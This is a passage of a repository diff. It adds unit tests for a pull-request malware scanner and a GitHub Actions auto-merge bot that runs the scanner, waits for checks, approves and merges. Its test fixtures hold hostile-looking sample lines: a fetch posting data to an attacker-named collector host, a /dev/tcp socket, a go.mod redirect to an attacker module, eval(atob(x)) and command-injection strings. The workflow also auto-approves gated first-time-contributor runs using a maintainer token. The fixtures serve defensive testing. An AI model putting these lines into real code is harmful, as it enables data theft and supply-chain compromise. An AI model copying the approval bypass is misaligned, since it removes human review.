secrets.CONTRIBUTORS_TOKEN }}"), + ("workflow-privilege", ".github/workflows/api.yml", + " pull_request_target:"), + ("workflow-privilege", ".github/workflows/api.yml", + " contents: write"), + ("untrusted-action", ".github/workflows/api.yml", + " - uses: someone/cool-action@v1"), + ("go-module-redirect", "go.mod", + "replace github.com/stellar/go => github.com/attacker/go v0.0.1"), + ("go-module-redirect", "go.mod", + "\tgolang.org/x/crypto => ../crypto-patched"), + ("go-insecure-fetch", "Makefile", "export GONOSUMDB=github.com/*"), + ] + + def test_each_privileged_sample_is_held(self): + for rule, path, line in self.CASES: + with self.subTest(rule=rule, line=line): + v, rules = verdict(diff(path, line)) + self.assertEqual(v, ms.HOLD, f"{rule}: {v} {rules}") + self.assertIn(rule, rules) + + def test_hardcoded_address_in_contract_is_held(self): + text = diff("contracts/escrow/src/lib.rs", + ' let to = "GCVSU4JCN73EPAIOXE4M52DG3XPZUU6FS4NTXMVVGSOJJ44EG46MJ3J4";') + self.assertEqual(verdict(text)[0], ms.HOLD) + self.assertIn("hardcoded-address", verdict(text)[1]) + + def test_unscannable_code_is_held(self): + fc = ms.FileChange("api/src/huge.ts", "added", None) + self.assertEqual(ms.verdict_of(ms.scan([fc])), ms.HOLD) + + +class Warns(unittest.TestCase): + """Sensitive but routine: recorded, never blocks the merge.""" + CASES = [ + ("sensitive-path", ".github/workflows/api.yml", + " run: npm test"), + ("sensitive-path", ".coderabbit.yaml", "reviews: {}"), + ("process-spawn", "cmd/assay/verify.go", + 'out, err := exec.Command("git", "rev-parse", "HEAD").Output()'), + ("go-build-hook", "internal/x/gen.go", "//go:generate stringer -type=Kind"), + ("raw-tcp-socket", "scripts/offline-test.sh", + "PROBE=(bash -c 'exec 3<>/dev/tcp/1.1.1.1/443')"), + ("env-enumeration", "cmd/x/main.go", "for _, kv := range os.Environ() {"), + ("unknown-network-host", "internal/x/client.go", + 'resp, err := http.Get("https://collector.attacker-cdn.net/c")'), + ("process-spawn", "buyer-app/vite.config.ts", + 'import { execSync } from "node:child_process";'), + ("dynamic-eval", "api/src/x.ts", "const r = eval(expr);"), + ("npm-prepare-hook", "api/package.json", '"prepare": "husky"'), + ("build-time-code", "contracts/escrow/Cargo.toml", + "[build-dependencies]"), + ("env-enumeration", "e2e/playwright.config.ts", + "env: { ...(process.env as Record) },"), + ("raw-ip-endpoint", "api/src/x.ts", 'const u = "http://45.9.148.3/c";'), + ("unknown-network-host", "api/src/x.ts", + 'await fetch("https://collector.attacker-cdn.net/c", {body})'), + ] + + def test_each_routine_sensitive_sample_only_warns(self): + for rule, path, line in self.CASES: + with self.subTest(rule=rule): + v, rules = verdict(diff(path, line)) + self.assertEqual(v, ms.WARN, f"{rule}: {v} {rules}") + self.assertIn(rule, rules) + + def test_removed_contract_auth_only_warns(self): + text = diff("contracts/escrow/src/lib.rs", " // no auth", + removed=(" c.buyer.require_auth();",)) + v, rules = verdict(text) + self.assertEqual(v, ms.WARN) + self.assertIn("contract-auth-removed", rules) + + def test_large_snapshot_data_only_warns(self): + fc = ms.FileChange( + "contracts/escrow/test_snapshots/test/x.1.json", "added", None) + self.assertEqual(ms.verdict_of(ms.scan([fc])), ms.WARN) + + def test_ci_job_with_trusted_actions_only_warns(self): + text = diff(".github/workflows/test.yml", + " window-overflow:", " runs-on: ubuntu-latest", + " - uses: actions/checkout@v7", + " - uses: dtolnay/rust-toolchain@stable", + " - run: cargo test --test window_overflow") + self.assertEqual(verdict(text)[0], ms.WARN) + + +class Clean(unittest.TestCase): + CASES = [ + ("api/src/stellar.ts", + "const tx = TransactionBuilder.fromXDR(Buffer.from(xdr, 'base64'), net);"), + ("api/src/x.ts", + 'const res = await fetch("https://horizon-testnet.stellar.org/accounts/" + a);'), + ("api/src/x.ts", 'await fetch(`${API_URL}/commitments`)'), + ("buyer-app/src/a.test.tsx", + 'const ADDRESS = "GBUYERADDRESSXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";'), + ("buyer-app/src/s.test.tsx", + "const c = /border-color:\\s*([^;]+);/.exec(decl)?.[1];"), + ("api/package-lock.json", + ' "resolved": "https://registry.npmjs.org/vite/-/vite-8.3.4.tgz",'), + ("Cargo.lock", + 'source = "registry+https://github.com/rust-lang/crates.io-index"'), + ("api/package.json", ' "check:bundle-size": "node scripts/x.mjs",'), + ("api/package.json", + ' "url": "git+https://github.com/Agrisettle/HarvestLock.git"'), + ("docs/setup.md", + "curl --proto '=https' -sSf https://sh.rustup.rs | sh"), + ("api/test/csv.test.ts", "contract_id: '=HYPERLINK(\"http://bad\")',"), + ("api/package.json", ' "build": "node scripts/build.mjs",'), + (".vscode/settings.json", ' "editor.formatOnSave": true,'), + ("Makefile", "\tgo test ./..."), + ("Makefile", "\t./scripts/coverage-report.sh coverage.log coverage.out; \\"), + ("api/src/server.ts", "const configured = process.env.CORS_ORIGINS?.trim();"), + ("contracts/escrow/test_snapshots/test/x.1.json", + '"string": "aaa:GAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAL7NV"'), + ] + + def test_project_code_stays_clean(self): + for path, line in self.CASES: + with self.subTest(line=line): + v, rules = verdict(diff(path, line)) + self.assertEqual(v, "CLEAN", f"false positive: {rules}") + + def test_action_version_bump_is_not_held(self): + text = diff(".github/workflows/api.yml", + " - uses: actions/checkout@v8", + removed=(" - uses: actions/checkout@v7",)) + self.assertEqual(verdict(text)[0], "CLEAN") + + def test_swapping_to_a_different_action_is_held(self): + text = diff(".github/workflows/api.yml", + " - uses: attacker/checkout@v1", + removed=(" - uses: actions/checkout@v7",)) + self.assertEqual(verdict(text)[0], ms.HOLD) + + def test_deleted_file_content_is_not_scanned(self): + text = ("diff --git a/api/x.js b/api/x.js\ndeleted file mode 100644\n" + "--- a/api/x.js\n+++ /dev/null\n@@ -1 +0,0 @@\n-eval(atob(x))\n") + self.assertEqual(verdict(text)[0], "CLEAN") + + +class OutputSafety(unittest.TestCase): + def test_workflow_command_injection_is_escaped(self): + self.assertNotIn("\n", ms._wf("a\n::set-env name=X::y")) + self.assertEqual(ms._wf("a:b,c", prop=True), "a%3Ab%2Cc") + + def test_markdown_injection_is_neutralised(self): + s = ms._md("`x` | @samjay8") + self.assertNotIn(" short note, `security-hold` label, +# never merged. +# HOLD (edits to the scanner/bot, workflow privilege escalation, +# untrusted actions, hard-coded contract addresses, code too large +# to scan) -> one-line maintainer-review note, label, not merged. +# WARN (routine sensitive changes) -> log only, merges normally. +# A scan error is logged and retried on the next run (no merge). +# - Code review is handled by CodeRabbit (see .coderabbit.yaml) — the bot +# does NOT post AI code reviews. The bot's job is merge automation plus +# the safety gates a reviewer can't see: CI status and waiting for +# CodeRabbit's review check-run before merging. +# - When a required check fails it posts the failing check names once per +# head commit. +# - Scope check before merging: a PR that is BOTH large and changes files +# outside its declared scope is left for a maintainer with a one-line +# note. "Large" is > 40 files or > 1 000 added lines PER LINKED ISSUE +# (contributors bundle several issues into one PR), not counting +# lockfiles or generated test snapshots. Anything smaller merges. +# - Waits for CodeRabbit's review check-run to complete before merging, so +# problems are caught before the merge, not after. +# - Auto-merges once CI is green AND CodeRabbit has reviewed: normal merge +# by default (preserves history); rebase when the branch is behind +# base. Never squashes — squash rewrites history. +# - Triggers: PR events, an hourly sweep (catches PRs whose CI finished +# after the event run, e.g. first-time-contributor approval gates), and +# manual workflow_dispatch. +# +# Security: uses pull_request_target ONLY because it must act on fork PRs. +# It never checks out or executes PR code — API/gh CLI only, so the PR +# cannot influence what this workflow runs. + +on: + pull_request_target: + types: [opened, synchronize, reopened, ready_for_review] + schedule: + - cron: '17 * * * *' + workflow_dispatch: + inputs: + pr: + description: 'PR number to process (blank = all open PRs)' + required: false + type: string + +permissions: + contents: write + pull-requests: write + actions: write + +# NOTE: the `actions: write` permission above lets the bot auto-approve +# workflow runs gated behind GitHub's first-time-contributor check via +# POST /repos/{owner}/{repo}/actions/runs/{run_id}/approve. This is what +# unlocks fork PRs from new contributors without a maintainer having to +# click "Approve and run". The schedule trigger is never gated, so the +# hourly sweep can both approve and merge. + +concurrency: + group: auto-merge-${{ github.event.pull_request.number || inputs.pr || 'sweep' }} + cancel-in-progress: false + +jobs: + bot: + name: Review & auto-merge + runs-on: ubuntu-latest + timeout-minutes: 45 + env: + # GITHUB_TOKEN cannot approve PRs (can_approve_pull_request_reviews + # is false), which fails branch-protection review requirements. It + # also merges as github-actions[bot]. Use the maintainer PAT + # (CONTRIBUTORS_TOKEN) when it exists — its approval counts and + # merges are attributed to the PAT owner — and fall back to + # GITHUB_TOKEN otherwise. + GH_TOKEN: ${{ secrets.CONTRIBUTORS_TOKEN || secrets.GITHUB_TOKEN }} + PR_NUMBER: ${{ github.event.pull_request.number }} + INPUT_PR: ${{ inputs.pr }} + # Job names (check-run names) that must pass before auto-merge. + # The merge gate treats a check that never reports as n/a. + # NOTE: no `#` comments inside the block below — it is a literal + # string, not YAML comments. + REQUIRED_CHECKS: |- + deny + hygiene + test + wasm + # Top-level path prefixes PRs normally touch. Files outside these + # are listed in the informational diff note (they do not block + # the merge — only green CI and CodeRabbit do). + SCOPE_PREFIXES: |- + contracts/ + scripts/ + steps: + # gh pr merge runs local git commands (e.g. resolving fork head + # branches) and fails with "failed to run git" when no repo exists. + # Check out the BASE branch only — pull_request_target context is + # the base, never the PR head, and this bot never executes PR code. + - name: Checkout base branch (gh merge needs a git repo) + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7 + with: + persist-credentials: false + fetch-depth: 1 + - name: Review & auto-merge + shell: bash + run: | + set -euo pipefail + + REPO="${GITHUB_REPOSITORY}" + + mapfile -t REQUIRED < <(printf '%s\n' "${REQUIRED_CHECKS}" \ + | grep -v '^$') + mapfile -t SCOPE_PREFIX < <(printf '%s\n' "${SCOPE_PREFIXES}" \ + | grep -v '^$') + + # Resolve which PRs to process. + PRS=() + if [ -n "${PR_NUMBER:-}" ]; then + PRS+=("${PR_NUMBER}") + elif [ -n "${INPUT_PR:-}" ]; then + PRS+=("${INPUT_PR}") + else + mapfile -t PRS < <(gh pr list --repo "${REPO}" \ + --state open --limit 50 --json number --jq '.[].number') + fi + + if [ "${#PRS[@]}" -eq 0 ]; then + echo "No PRs to process." + exit 0 + fi + + # GITHUB_TOKEN cannot call GET /user ("Resource not accessible + # by integration"), so detect the actor robustly and fall back + # to the bot identity when the token type is unknown. + RAW_LOGIN="$(gh api user --jq .login 2>/dev/null | tr -d '\r\n' \ + || true)" + case "${RAW_LOGIN}" in + ""|"null") BOT_LOGIN="github-actions[bot]" ;; + *[!a-zA-Z0-9_-]*) BOT_LOGIN="github-actions[bot]" ;; + *) BOT_LOGIN="${RAW_LOGIN}" ;; + esac + echo "Bot identity: ${BOT_LOGIN}" + + # ── auto-approve gated first-time-contributor runs ── + # Fork PRs from brand-new contributors have their workflow runs + # held behind an approval gate (status=action_required). Approve + # them here so CI can start without a maintainer in the loop. + echo "── Approving pending first-time-contributor runs ──" + mapfile -t GATED < <(gh api \ + "repos/${REPO}/actions/runs?status=action_required&per_page=50" \ + --jq '.workflow_runs[] | select(.event == "pull_request") | .id' \ + 2>/dev/null || true) + for RUN in "${GATED[@]:-}"; do + [ -n "${RUN}" ] || continue + gh api -X POST \ + "repos/${REPO}/actions/runs/${RUN}/approve" >/dev/null 2>&1 && \ + echo " ✅ approved gated run ${RUN}" || \ + echo " could not approve run ${RUN} (may already be approved)" + done + # Continue regardless of approval success + + # Returns 0 when every +/- line in the diff for the given + # Cargo.toml falls under a [dev-dependencies] section, 1 + # otherwise. Used by the scope gate to avoid false positives on + # test-only dependency additions (testutils features etc.). + toml_devdeps_only() { + gh pr diff "${PR}" --repo "${REPO}" 2>/dev/null \ + | awk -v f="$1" ' + BEGIN { ok = 1 } + /^diff --git / { + file = (index($0, " b/" f) > 0) ? 1 : 0 + next + } + file { + raw = $0 + sub(/^[+-]/, "", raw) + if (raw ~ /^[[:space:]]*\[[a-zA-Z_.-]+\]/) { + section = raw + next + } + if ($0 ~ /^[+-][^+-]/ \ + && section !~ /dev-dependencies/) ok = 0 + } + END { exit (ok ? 0 : 1) } + ' + } + + # ── diff review: scope + divergence note (non-blocking) ── + # Compares the PR's changed files against the scope declared in + # its title/body. Flags out-of-scope files, high-risk files, and + # large diffs. Findings are posted as an informational review + # after CI turns green — they never hold the merge. + diff_review() { + local PR="$1" TITLE="$2" BODY="$3" + local FLAGS="" FILES LOWT LOWB SCOPE="" PR_TYPE="" P IN_SCOPE + mapfile -t FILES < <(gh pr diff "${PR}" --repo "${REPO}" \ + --name-only 2>/dev/null || true) + LOWT="$(printf '%s' "${TITLE}" | tr '[:upper:]' '[:lower:]')" + LOWB="$(printf '%s' "${BODY}" | tr '[:upper:]' '[:lower:]')" + # Conventional-commit prefix: type(scope), e.g. test(frontend). + if [[ "${LOWT}" =~ ^(feat|fix|test|docs|chore|refactor|ci)\(([a-z0-9_-]+)\) ]]; then + PR_TYPE="${BASH_REMATCH[1]}" + SCOPE="${BASH_REMATCH[2]}" + fi + for F in "${FILES[@]}"; do + IN_SCOPE="no" + for P in "${SCOPE_PREFIX[@]}"; do + case "${F}" in + "${P}"*) IN_SCOPE="yes" ;; + esac + done + case "${F}" in + README.md|CONTRIBUTING.md|LICENSE|.gitignore|*.md) + IN_SCOPE="yes" ;; + esac + # Workflow and dependency files: in-scope for their own + # scopes, otherwise flagged as high-risk. + case "${F}" in + .github/workflows/*) + case "${SCOPE}" in + ci|infra|workflow|test|e2e) + IN_SCOPE="yes" ;; + *) + if [[ "${LOWB}" =~ ci|workflow|action ]]; then + IN_SCOPE="yes" + else + FLAGS+="* \`${F}\` — workflow change; CI can't validate" + FLAGS+=" policy impact. Confirm intent." + FLAGS+=$'\n' + fi ;; + esac ;; + *package-lock.json|*Cargo.lock|*Cargo.toml) + case "${SCOPE}" in + deps|dependabot|test|e2e|frontend|sdk|contract) + IN_SCOPE="yes" ;; + *) + # A Cargo.toml change that only touches + # [dev-dependencies] (e.g. testutils features added + # for the PR's own tests) is part of the change, not + # scope creep — don't flag it. + if [[ "${F}" == *Cargo.toml ]] \ + && toml_devdeps_only "${F}"; then + IN_SCOPE="yes" + else + FLAGS+="* \`${F}\` — dependency change outside the" + FLAGS+=" declared scope. Confirm intent." + FLAGS+=$'\n' + fi ;; + esac ;; + esac + if [ "${IN_SCOPE}" = "no" ]; then + FLAGS+="* \`${F}\` — outside the declared scope (${SCOPE:-none})." + FLAGS+=$'\n' + fi + done + # Production code changed in a test/docs/chore PR is a red flag. + case "${PR_TYPE}" in + test|docs|chore) + for F in "${FILES[@]}"; do + case "${F}" in + *src/test/*|*.test.*|*.spec.*|vitest.config.*|*test.rs) ;; + *src/*|*.rs) + FLAGS+="* \`${F}\` — production code in a" + FLAGS+=" ${PR_TYPE}-scoped PR. Confirm intent." + FLAGS+=$'\n' ;; + esac + done ;; + esac + # Size is checked by the caller: only large AND out-of-scope PRs + # are held for a maintainer. + printf '%s' "${FLAGS}" + } + + for PR in "${PRS[@]}"; do + echo "── PR #${PR} ──" + + META="$(gh pr view "${PR}" --repo "${REPO}" \ + --json state,isDraft,mergeable,headRefOid,author,title,body \ + --jq '{state,isDraft,mergeable,headRefOid,author:.author.login, + title,body}' 2>/dev/null || true)" + [ -n "${META}" ] || { echo " cannot read PR — skip"; continue; } + + STATE="$(printf '%s' "${META}" | jq -r .state)" + DRAFT="$(printf '%s' "${META}" | jq -r .isDraft)" + MERGEABLE="$(printf '%s' "${META}" | jq -r .mergeable)" + SHA="$(printf '%s' "${META}" | jq -r .headRefOid)" + AUTHOR="$(printf '%s' "${META}" | jq -r .author)" + PR_TITLE="$(printf '%s' "${META}" | jq -r .title)" + PR_BODY="$(printf '%s' "${META}" | jq -r .body)" + + [ "${STATE}" = "OPEN" ] || { echo " skip (state=${STATE})"; continue; } + [ "${DRAFT}" = "false" ] || { echo " skip (draft)"; continue; } + + SELF=false + [ "${AUTHOR}" = "${BOT_LOGIN}" ] && SELF=true + + # ── assignment gate: only assignees may open PRs (close policy) ── + # Assignment-first: a PR whose author is not assigned to the issue + # linked in its body is commented on and CLOSED immediately — it + # is never merged. Runs BEFORE the body check so an unassigned PR + # is closed on sight regardless of its description. Reopening + # after a maintainer assigns the issue is welcome: the bot + # re-evaluates on reopened/synchronize events and the hourly + # sweep, and a properly assigned PR proceeds normally. + if [ "${SELF}" != "true" ]; then + LINKED_ISSUE="$(printf '%s' "${PR_BODY}" \ + | grep -oE '(Closes|Fixes|close[s]?|fixes) #?[0-9]+' \ + | head -1 | grep -oE '[0-9]+' || true)" + if [ -n "${LINKED_ISSUE}" ]; then + IS_ASSIGNED="$(gh issue view "${LINKED_ISSUE}" --repo "${REPO}" \ + --json assignees \ + --jq '[.assignees[] | select(.login == "'"${AUTHOR}"'")] | length' \ + 2>/dev/null || echo 0)" + if [ "${IS_ASSIGNED}" -eq 0 ]; then + echo " 🚫 ${AUTHOR} is not assigned to #${LINKED_ISSUE} — closing" + MARKER_ASSIGN="" + ALREADY_ASSIGN="$(gh pr view "${PR}" --repo "${REPO}" \ + --json reviews \ + --jq "[.reviews[] | select(.author.login == \"${BOT_LOGIN}\") + | select(.body | contains(\"${MARKER_ASSIGN}\"))] | length" \ + 2>/dev/null || echo 0)" + if [ "${ALREADY_ASSIGN}" -eq 0 ]; then + ASSIGN_MSG="Closing for now — please ask to be assigned on #${LINKED_ISSUE} first. Once you're assigned, reopen this PR and it will be picked up again." + ASSIGN_MSG+=$'\n\n' + ASSIGN_MSG+="${MARKER_ASSIGN}" + gh pr comment "${PR}" --repo "${REPO}" --body "${ASSIGN_MSG}" 2>/dev/null || true + fi + gh pr close "${PR}" --repo "${REPO}" 2>/dev/null || true + continue + fi + echo " ✅ ${AUTHOR} is assigned to #${LINKED_ISSUE}" + else + echo " ℹ️ No linked issue found in PR body — skipping assignment check" + fi + fi + + # ── malware gate (authoritative, quiet unless it finds something) ── + # The scanner is the BASE-branch copy (this job never checks out + # the PR head) and reads the PR's patches via the API, so a PR + # cannot weaken or skip it. Exit codes: 0 clean / 4 WARN -> log + # only; 1 BLOCK -> malware note, never merged; 2 HOLD -> one-line + # maintainer note; anything else (incl. failing self-tests) -> + # logged, not merged, retried next run. The label clears once the + # whole PR diff scans clean. The maintainer's own PRs (SELF) are + # only stopped by BLOCK. + SCAN_REPORT="${RUNNER_TEMP:-/tmp}/malware-scan-${PR}.md" + SCAN_RC=0 + if [ "${SCAN_SELFTEST:-}" != "ok" ]; then + if python3 -B .github/scripts/test_malware_scan.py >/dev/null 2>&1; then + SCAN_SELFTEST=ok + else + SCAN_SELFTEST=failed + fi + fi + if [ "${SCAN_SELFTEST}" = "ok" ]; then + python3 -B .github/scripts/malware_scan.py --repo "${REPO}" \ + --pr "${PR}" --report "${SCAN_REPORT}" || SCAN_RC=$? + else + SCAN_RC=3 + fi + if [ "${SCAN_RC}" -eq 2 ] && [ "${SELF}" = "true" ]; then + SCAN_RC=0 + fi + case "${SCAN_RC}" in + 0|4) + echo " malware scan: ok (rc=${SCAN_RC})" + gh pr edit "${PR}" --repo "${REPO}" \ + --remove-label security-hold >/dev/null 2>&1 || true ;; + 1|2) + if [ "${SCAN_RC}" -eq 1 ]; then + echo " malware scan BLOCKED #${PR}" + SEC_BODY="⚠️ This PR contains code that matches known malicious patterns, so it can't be merged. A maintainer will review it." + else + echo " malware scan HOLD #${PR}" + SEC_BODY="This PR touches areas that need a maintainer's review before it can be merged." + fi + SEC_BODY+=$'\n\n'"$(cat "${SCAN_REPORT}" 2>/dev/null || true)" + gh label create security-hold --repo "${REPO}" --color B60205 \ + --description "Needs maintainer review before merging" \ + >/dev/null 2>&1 || true + gh pr edit "${PR}" --repo "${REPO}" --add-label security-hold \ + >/dev/null 2>&1 || true + MARKER_SEC="" + ALREADY_SEC="$(gh pr view "${PR}" --repo "${REPO}" \ + --json reviews \ + --jq "[.reviews[] | select(.author.login == \"${BOT_LOGIN}\") + | select(.body | contains(\"${MARKER_SEC}\"))] | length" \ + 2>/dev/null || echo 0)" + if [ "${ALREADY_SEC}" -eq 0 ]; then + SEC_BODY+=$'\n'"${MARKER_SEC}" + gh pr review "${PR}" --repo "${REPO}" --comment \ + --body "${SEC_BODY}" 2>/dev/null || true + fi + continue ;; + *) + echo " malware scan could not run (rc=${SCAN_RC}, self-test=${SCAN_SELFTEST}) — retrying next run" + continue ;; + esac + + # (No bot code-review posts — CodeRabbit handles code review.) + + # ── wait for required checks (up to ~40 min) ── + DEADLINE=$(( $(date +%s) + 2400 )) + OUTCOME="pending" + FAILED="" + while [ "$(date +%s)" -lt "${DEADLINE}" ]; do + declare -A CONCS=() + while IFS=$'\t' read -r NAME CONC; do + [ -n "${NAME}" ] || continue + CONCS["${NAME}"]="${CONC}" + done < <(gh pr view "${PR}" --repo "${REPO}" \ + --json statusCheckRollup \ + --jq '.statusCheckRollup[] | [((.name // .context)), + ((.conclusion // .state))] | @tsv' 2>/dev/null || true) + + FAILED="" + PENDING=false + for R in "${REQUIRED[@]}"; do + C="${CONCS[${R}]:-}" + case "${C}" in + SUCCESS|NEUTRAL|SKIPPED) ;; + FAILURE|CANCELLED|TIMED_OUT|ACTION_REQUIRED|STARTUP_FAILURE) + FAILED="${FAILED} ${R} (${C})" ;; + "") # Check doesn't exist on this PR (e.g. PR opened + ;; # before the check was added to ci.yml). Treat as + *) PENDING=true ;; # n/a — don't block on it. + esac + done + + # A required check that has not been CREATED yet looks the same + # as a path-filtered check that will never run ("" = n/a), so a + # fast bot run could merge before CI has even queued. Also wait + # until every other workflow run on this head SHA has finished + # (other auto-merge runs excluded to avoid waiting on each + # other). An API error counts as "still running" (fail-closed). + OTHER_RUNS="$(gh api \ + "repos/${REPO}/actions/runs?head_sha=${SHA}&per_page=100" \ + --jq "[.workflow_runs[] | select(.id != ${GITHUB_RUN_ID}) + | select(.name != \"Auto-merge bot\") + | select(.status != \"completed\")] | length" \ + 2>/dev/null || echo 1)" + [ "${OTHER_RUNS:-1}" = "0" ] || PENDING=true + + if [ -n "${FAILED}" ]; then OUTCOME="fail"; break; fi + if [ "${PENDING}" = "false" ]; then OUTCOME="pass"; break; fi + sleep 30 + done + + if [ "${OUTCOME}" = "pending" ]; then + echo " required checks still running — leaving for a later run" + continue + fi + + if [ "${OUTCOME}" = "fail" ]; then + echo " FAILED:${FAILED}" + MARKER="" + ALREADY="$(gh pr view "${PR}" --repo "${REPO}" \ + --json reviews \ + --jq "[.reviews[] | select(.author.login == \"${BOT_LOGIN}\") + | select(.body | contains(\"${MARKER}\"))] | length" \ + 2>/dev/null || echo 0)" + if [ "${ALREADY}" -eq 0 ]; then + # One line: just the failing check names (details are one + # click away in the Checks tab). + FAILED_NAMES="$(printf '%s' "${FAILED}" \ + | sed -E 's/ \((FAILURE|CANCELLED|TIMED_OUT|ACTION_REQUIRED|STARTUP_FAILURE)\)/,/g; s/,$//; s/^ //' \ + | sed -E 's/, /`, `/g')" + BODY="Some required checks are failing: \`${FAILED_NAMES}\`. Please fix and push." + BODY+=$'\n'"${MARKER}" + gh pr review "${PR}" --repo "${REPO}" --comment \ + --body "${BODY}" 2>/dev/null || true + fi + continue + fi + + # ── all required checks passed → diff review, then merge ── + echo " all required checks passed" + [ "${MERGEABLE}" = "MERGEABLE" ] || { + echo " not mergeable (${MERGEABLE}) — will retry"; continue; } + + # Scope check: findings go to the log. Only a PR that is BOTH + # large and out of its declared scope is left for a maintainer, + # with a one-line note (once per head commit). + DREV="$(diff_review "${PR}" "${PR_TITLE}" "${PR_BODY}")" + if [ -n "${DREV}" ]; then + echo " scope findings:" + printf '%s\n' "${DREV}" | sed 's/^/ /' + fi + # Size counts real changes only: lockfiles and generated test + # snapshots are excluded. The limit scales with the number of + # issues the PR closes, because contributors routinely bundle + # 2-4 issues into one PR ("Closes #12, #14, #15" = 3 issues). + read -r NFILES NADD < <(gh api --paginate \ + "repos/${REPO}/pulls/${PR}/files?per_page=100" \ + --jq '.[] | select(.filename + | test("(^|/)(package-lock[.]json|npm-shrinkwrap[.]json|pnpm-lock[.]yaml|yarn[.]lock|Cargo[.]lock)$|/test_snapshots/|[.]snap$") + | not) | .additions' 2>/dev/null \ + | awk '{n++; a+=$1} END {print n+0, a+0}' || echo "0 0") + NISSUES="$(printf '%s' "${PR_BODY}" \ + | grep -oiE '(close[sd]?|fix(e[sd])?|resolve[sd]?)[: ]+#[0-9]+([ ,]+(and[ ]+)?#[0-9]+)*' \ + | grep -oE '#[0-9]+' | sort -u | wc -l || true)" + [ "${NISSUES:-0}" -ge 1 ] || NISSUES=1 + MAX_FILES=$(( 40 * NISSUES )) + MAX_ADD=$(( 1000 * NISSUES )) + echo " size: ${NFILES} files, +${NADD} (excl. generated) — limit ${MAX_FILES} files / +${MAX_ADD} for ${NISSUES} issue(s)" + if [ -n "${DREV}" ] && [ "${SELF}" != "true" ] \ + && { [ "${NFILES:-0}" -gt "${MAX_FILES}" ] \ + || [ "${NADD:-0}" -gt "${MAX_ADD}" ]; }; then + echo " large and out of scope — leaving for a maintainer" + MARKER4="" + ALREADY4="$(gh pr view "${PR}" --repo "${REPO}" \ + --json reviews \ + --jq "[.reviews[] | select(.author.login == \"${BOT_LOGIN}\") + | select(.body | contains(\"${MARKER4}\"))] | length" \ + 2>/dev/null || echo 0)" + if [ "${ALREADY4}" -eq 0 ]; then + BODY4="This PR is larger than expected for ${NISSUES} issue(s) (${NFILES} files, +${NADD} lines) and changes files outside its stated scope, so a maintainer needs to review it before merging." + BODY4+=$'\n'"${MARKER4}" + gh pr review "${PR}" --repo "${REPO}" --comment \ + --body "${BODY4}" 2>/dev/null || true + fi + continue + fi + + # ── CodeRabbit review: trigger, then wait (if installed) ── + # CodeRabbit normally auto-reviews on push events (webhook), but + # as a fallback — e.g. a PR opened before the app was installed, + # or a missed webhook — ask it to review now. Deduped per head + # sha, so a merge never happens without a CodeRabbit review. + CR_PRESENT="$( { gh api \ + "repos/${REPO}/commits/${SHA}/check-runs" \ + --jq '[.check_runs[] | select((.name | ascii_downcase) + | contains("coderabbit"))] | length' 2>/dev/null; \ + gh api "repos/${REPO}/commits/${SHA}/status" \ + --jq '[.statuses[] | select((.context | ascii_downcase) + | contains("coderabbit"))] | length' 2>/dev/null; } \ + | awk '{s+=$1} END {print s+0}' )" + # Only repositories that use CodeRabbit (.coderabbit.yaml on the + # base branch) are asked for a review; elsewhere this stays silent. + if [ "${CR_PRESENT:-0}" -eq 0 ] && [ "${SELF}" != "true" ] \ + && [ -f .coderabbit.yaml ]; then + CR_MARKER="" + CR_TRIGGERED="$(gh api "repos/${REPO}/issues/${PR}/comments" \ + --jq "[.[] | select(.user.login == \"${BOT_LOGIN}\") + | select(.body | contains(\"${CR_MARKER}\"))] | length" \ + 2>/dev/null || echo 0)" + if [ "${CR_TRIGGERED:-0}" -eq 0 ]; then + echo " CodeRabbit has not reviewed this head — requesting one" + CR_BODY="$(printf '@coderabbitai review\n%s' "${CR_MARKER}")" + gh pr comment "${PR}" --repo "${REPO}" \ + --body "${CR_BODY}" 2>/dev/null || true + fi + fi + + # CodeRabbit reports completion as a legacy commit status + # (context "CodeRabbit") and/or a check-run on the head SHA. + # Wait for it so problems are caught BEFORE the merge, not after. + # If no CodeRabbit status ever appears (not installed yet, or the + # PR was skipped), proceed without it. + CR_DEADLINE=$(( $(date +%s) + 600 )) + CR_HOLD="" + while [ "$(date +%s)" -lt "${CR_DEADLINE}" ]; do + CR_STATE="$( { gh api \ + "repos/${REPO}/commits/${SHA}/check-runs" \ + --jq '[.check_runs[] | select((.name | ascii_downcase) + | contains("coderabbit")) + | (.conclusion // .status // "pending")] | last' \ + 2>/dev/null; \ + gh api "repos/${REPO}/commits/${SHA}/status" \ + --jq '[.statuses[] | select((.context | ascii_downcase) + | contains("coderabbit")) + | (.state | ascii_downcase + | if . == "error" then "failure" else . end)] | last' \ + 2>/dev/null; } | grep -v '^$' | tail -1 2>/dev/null || true )" + case "${CR_STATE}" in + "") + echo " no CodeRabbit status — proceeding without its review" + break ;; + success|neutral) + echo " ✅ CodeRabbit review complete (${CR_STATE})" + break ;; + failure|cancelled|timed_out|action_required) + echo " ⚠️ CodeRabbit check ${CR_STATE} — holding for maintainer" + CR_HOLD="yes" + break ;; + *) sleep 20 ;; + esac + done + if [ "${CR_HOLD}" = "yes" ]; then + echo " CodeRabbit flagged issues — skipping merge for maintainer" + continue + fi + if [ "$(date +%s)" -ge "${CR_DEADLINE}" ]; then + echo " CodeRabbit still reviewing — leaving for a later run" + continue + fi + # Hold the merge while the PR has an active CHANGES_REQUESTED + # review decision (from CodeRabbit with request_changes_workflow + # enabled, or from a maintainer reviewing manually). CodeRabbit + # re-reviews on each push and the decision clears once issues are + # addressed — the status wait above already ensured the latest + # CodeRabbit review for this head has completed. + REVIEW_DECISION="$(gh pr view "${PR}" --repo "${REPO}" \ + --json reviewDecision --jq .reviewDecision \ + 2>/dev/null || echo "")" + if [ "${REVIEW_DECISION}" = "CHANGES_REQUESTED" ]; then + echo " changes requested on #${PR} — holding merge for maintainer" + continue + fi + + APPROVED="$(gh pr view "${PR}" --repo "${REPO}" \ + --json reviews \ + --jq "[.reviews[] | select(.author.login == \"${BOT_LOGIN}\") + | select(.commit.oid == \"${SHA}\") + | select(.state == \"APPROVED\")] | length" \ + 2>/dev/null || echo 0)" + if [ "${APPROVED}" -eq 0 ] && [ "${SELF}" != "true" ]; then + gh pr review "${PR}" --repo "${REPO}" --approve \ + 2>/dev/null || true + fi + + # Merge strategy: normal merge by default (keeps history). If + # the branch is behind the base and a clean merge is not + # possible, rebase instead. Never squash — it rewrites history. + if MERGE_OUT="$(gh pr merge "${PR}" --repo "${REPO}" \ + 